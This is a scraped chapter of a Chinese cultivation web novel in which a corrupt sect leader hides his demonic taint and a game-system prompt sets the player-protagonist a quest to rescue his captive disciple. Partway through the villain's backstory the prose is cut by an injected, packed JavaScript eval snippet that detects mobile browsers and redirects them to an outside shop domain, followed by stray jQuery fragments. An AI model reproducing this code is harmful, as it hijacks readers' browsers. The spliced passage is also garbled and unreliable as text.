文趣网 > 其他小说 > 玩家成为师尊后修罗场了 > 24.她是魔修(十三)
    “惺惺作态。”

    裴庭筠冷笑一声,眸光如淬寒冰,半分不为那番声情并茂的辩解所动。

    “你乃元婴之境,区区金丹魔修岂能伤你?魔修向来无利不早起,怎会为一个外人冒死刺杀一宗之主?只怕是你自己在别处结下的仇怨,休要借机栽赃!”

    “相反,我有证据指证!玄阳身为一宗之主,早已暗中入魔。他唯恐此事暴露,不惜屠我全族以图灭口。若他当真无辜——”

    裴庭筠话音一顿,声量陡然扬起,清朗坚定地传遍全场:

    “就请玄阳真人当众服下清浊丹,自证清白!也请诸位宗主一同见证,还我裴家一个公道!”

    此次大比入口虽设照魔镜,但那终究只是低阶法器,极易被高阶隐匿之术或法宝蒙蔽。

    但清浊丹不同,对魔修而言如穿肠毒药,服下必会气血逆冲、魔气外显;而对正道修士,却有宁心静气之效。

    若玄阳不敢服丹——

    那便是做贼心虚。

    一宗之主竟入魔?为遮掩真相屠人满门?

    众人惊疑不定的目光再度聚焦于玄阳身上,然而他却神色坦荡,拂袖扬声道:“清者自清,有何不敢!”

    反应之干脆,出乎时桉预料。

    她微微蹙眉,紧盯着场中,就见为示公正,青云宗弟子已奉命取来清浊丹,玄阳接过丹药,竟真的在众目睽睽之下仰首服下。

    片刻过去。

    气息平稳,神态如常,周身不见一丝魔气逸散,更无半点气血逆冲之象。

    ……怎么可能?

    时桉瞳孔微缩,几乎要向前迈出一步。

    “不可能——!!”

    随之响起的是裴庭筠的怒音,在渐渐嘈杂的议论声中显得尖锐而破碎:“他分明是魔修!因为……”

    因为裴家秘典所制的清心玉,正是用来遮掩魔气的至宝!若非如此,玄阳何必屠尽裴家、抢夺秘典?

    可清心玉分明已碎。为何、为何他身上的魔气还未激发?!

    真相几乎要冲破喉咙,可急火攻心之下,裴庭筠却死死咬住牙关,齿间渗开铁锈般的腥气。

    不能说!一旦当众说出清心玉能遮掩魔气的秘密,非但坐实不了玄阳的罪名,反而会引得天下人觊觎此物。

    计划已败,他绝不能再将师尊牵连进来。

    玄阳长叹一声,面上满是沉痛与宽容:“庭筠,你定是被魔修以花言巧语所惑,才会如此执迷……他们利用你报仇心切,将你当作棋子啊。”

    魔修……他真的是被魔修花言巧语所惑吗?玄阳所说的,才是事实吗?

    ——万佛门的静心咒可助你压制心魔,这些剑诀则能重铸道基。若有不明之处,随时来问。

    不。

    不是的。

    他相信师尊,玄阳才是那个花言巧语的魔修!

    玄阳转向四周各派宗主,语气恳切而疲惫:“让诸位见笑了。小徒受魔所惑,对贫道误解太深。待我带他回宗,好生开解,定让他迷途知返,重归正道。”

    周玉洵眉头微蹙,出声提醒:“玄阳宗主,你方才也遭金丹魔修偷袭,此事又与魔修牵连颇深,难保对方未有后手。不如待大比结束,再带令徒回宗详查不迟。”

    话音刚落,场中裴庭筠忽地身形一晃,猛地喷出一口鲜血。

    他脸色惨白如纸,竟直直栽倒在地,浑身止不住寒颤。

    众人尚未反应过来,玄阳已疾步上前,将人接入怀中,满面惊惶:“庭筠!庭筠你怎么了?!”

    擂台边的医修立刻飞身上前,俯身探其脉息,片刻后肃然抬头:“心脉被种了蛊,蛊毒正在发作。需以醇厚灵气护住心脉,再辅以药浴压制,否则性命难保。”

    “我来!”

    玄阳毫不迟疑,当即将掌心贴上裴庭筠后背,精纯灵气源源不断渡入。俨然一副不惜损耗自身、也要救回逆徒的慈师模样。

    蛊?

    台下众人面面相觑。

    看来这裴庭筠果真是被魔修操纵利用了!而玄阳面对如此叛逆之徒,竟仍愿倾力相救,实在仁厚至此。

    一时间,疑虑渐散,唏嘘四起。

    昏厥的裴庭筠很快被送往凌霄宗所属客院救治。

    时桉坐在席间,袖中手指微微发颤。

    她万万没想到,裴庭筠会在急怒之下引动蛊毒。

    发作得如此迅猛、如此不合时宜。

    心绪纷乱如麻之际,一道系统提示却毫无征兆地撞入眼帘——

    她原以为是关于眼下剧情的指引,凝神看去,却怔住了。

    [你一宿未归,小白以为你抛弃了它]

    [小白已悄悄离开天音阁]

    [它正循着气息来找你,确认你平安]

    【小白亲密度-10】

    【当前亲密度:89】

    时桉怔了怔。

    山高水远,险途莫测,一只尚未开灵智的小白狐,如何能孤身寻到青云宗?

    只怕稍有不慎,便遭不测。

    可眼下她已无暇顾及。那小家伙胆子那样小,想来又会像上回偷溜出去那般,在外头惶惶转一圈,便瑟瑟发抖地逃回阁里。

    她不再分神乱想,此刻心里惴惴不安的都是裴庭筠千万别出事,自己该如何救他。

    ……

    谢初珣冷眼旁观这场闹剧收场,心底掠过一丝不耐。

    徒弟公然诬蔑师尊,已是悖逆。如今看来,更是从身心皆被魔修所控,可悲可鄙。

    他目光淡淡扫过前方天音阁的席位,却见那位宋阁主与她身侧的弟子,竟在这一幕下皆是面色苍白,神情紧绷。

    实属可疑。

    他目光无声掠过那两张苍白的脸,最终落在宋绪微微蜷起的指尖上。

    莫非——

    他们当真与魔修有关?

    ……

    客舍重归寂静。

    玄阳立在浴桶边,垂眸望着桶中昏沉未醒的裴庭筠。方才人前那副焦灼痛惜的神色早已褪尽,只剩幽冷的审视。

    当年为夺宗主之位,他暗修禁术,引地底千年煞气淬炼剑心。急功近利下,煞气反噬金丹,不仅日夜啃噬道基,修为停滞,更蚕食神智,性情日渐暴戾。若再寻不到遏制之法,终将彻底堕魔。

    他试遍了能寻到的所有秘法。但那魔气早已与他的金丹纠缠共生,强驱便是自毁道途。

    直到某日,他偶然察觉随身拿出的一块玉佩竟能缓缓吸纳体内魔气,甚至将其转为精纯灵力。他这才想起,那是故友裴正阳早年所赠。

    他携重宝登门,欲与裴家交易这化解之法。谁知裴正阳一眼看穿他魔气已深,严词拒绝,更斥他回头是岸。

    一次,两次,三次,拒绝一次比一次决然。

    走投无路,又被魔气日夜折磨得几近癫狂的玄阳,终于起了偷的念头。

    可偏偏……被发现了。

    既然被发现,那便一不做二不休。

    要怪,就怪他们运气太差。为何偏要在那时出现?

    只有死人,才不会开口说话。

    可偏偏,运气差的不止是他们。竟让那个小的逃了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537298|202055||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    他那时满心只有斩草除根的杀意,谁知翻开那本以鲜血染就的裴氏秘典,却惊见——炼制那清心玉佩的核心,竟需裴家嫡系血脉为引!

    好在,天不绝他。

    数日后,他终于找到那个尚有气息的少年,甚至发现,这小子竟是罕见的纯阳之体。

    他带回宗门,养在身边,只待他结丹后,囚作活鼎。

    届时,他的血、他的元阳,皆会成为自己续命登仙的养料。

    没想到才八年,这小子就窥破了真相。

    更可恨的是——

    竟有人抢先一步,在他体内种了蛊!脏了他的血!

    此蛊盘踞心脉深处,若强行逼出,只怕蛊未离体,裴庭筠便已暴毙。

    幸好,那一身元阳尚未被破……

    就在这时,察觉到药浴中裴庭筠的气息微变,眼睫轻颤,玄阳瞬间又换上了那副温柔慈师的面具。

    “庭筠,你体内被魔修种了蛊。告诉师尊,是谁?师尊定会为你解蛊,你也莫要再误解为师了。”

    “呸!”

    回应他的是一口混着血沫的唾沫,直直啐在他脸上。

    “你还不信为师?”玄阳伸手抹去脸上血污,语气中那份伪装的痛心几乎要以假乱真,“为师若真要害你,又何必救你?方才也是为师耗费灵气,替你压□□内的蛊虫。”

    “因为我的血——”裴庭筠喘着气,扯出一个自嘲的笑,“如今我的血脏了,你再炼不成清心玉了。玄阳,你瞒不住的……迟早有一日,你会败露。”

    话未落,一巴掌已甩在他脸上。

    五指如铁钳般扼住少年脆弱的脖颈,猛地将人从药液中提起。

    水花炸开,裴庭筠被迫仰起头,湿漉漉的黑发贴在苍白的面颊上,就见那双伪善的眼睛终于不见半分慈爱,只剩淬了毒似的阴戾。

    “说!”玄阳五指寸寸收紧,面目阴冷,“谁给你种的蛊?那个偷袭我的魔修?”

    回应他的,是裴庭筠喉间溢出的一声笑,轻飘飘的,带着股近乎解脱的讥讽。随即,牙关猛地一紧——

    玄阳瞳孔一缩,一把捏住他的下颌,“咔”的一声,下巴脱了臼。

    “想死?”他俯下身,凑近那张因剧痛而扭曲的脸,竟还带了一丝笑,“没那么容易。你不说也罢。蛊虫噬心,痛的终归不是我。可你真以为血脏了,我便束手无策?”

    “我会将你的血一滴一滴地淬炼,炼到干净为止。再将那个胆敢染指你的魔修,剜心剔骨,挫骨扬灰。”

    下巴传来碎裂般的剧痛,咽喉被封,身躯也被术法死死定在药液中。裴庭筠挣不动半分,只能眼睁睁看着玄阳的身影在模糊下去的视野里晃成一道冰冷的轮廓。

    意识如沉入深潭,一寸寸涣散。

    最后一缕清醒湮灭前,他只恨——那蛊虫为何不就此发作,噬尽他的心脉。也好过让这仇人,再有半分机会沾染他的血。

    【您的弟子[裴庭筠]生命体征正在减弱,当前生命值:42/100】

    【紧急支线任务触发:营救裴庭筠】

    【目标:在子蛊全面爆发前带走裴庭筠,脱离玄阳控制。】

    【剩余时间:[11:59:59]】

    【成功奖励:积分+500,修为+50,九转凝丹草x1,地心火莲籽x3,羁绊等级提升至Lv.5。】

    【失败后果:裴庭筠死亡或彻底沦为血奴,正道声望清零,魔修身份高概率暴露,遭各派通缉。】

    【是否接取任务?】

    【已存档】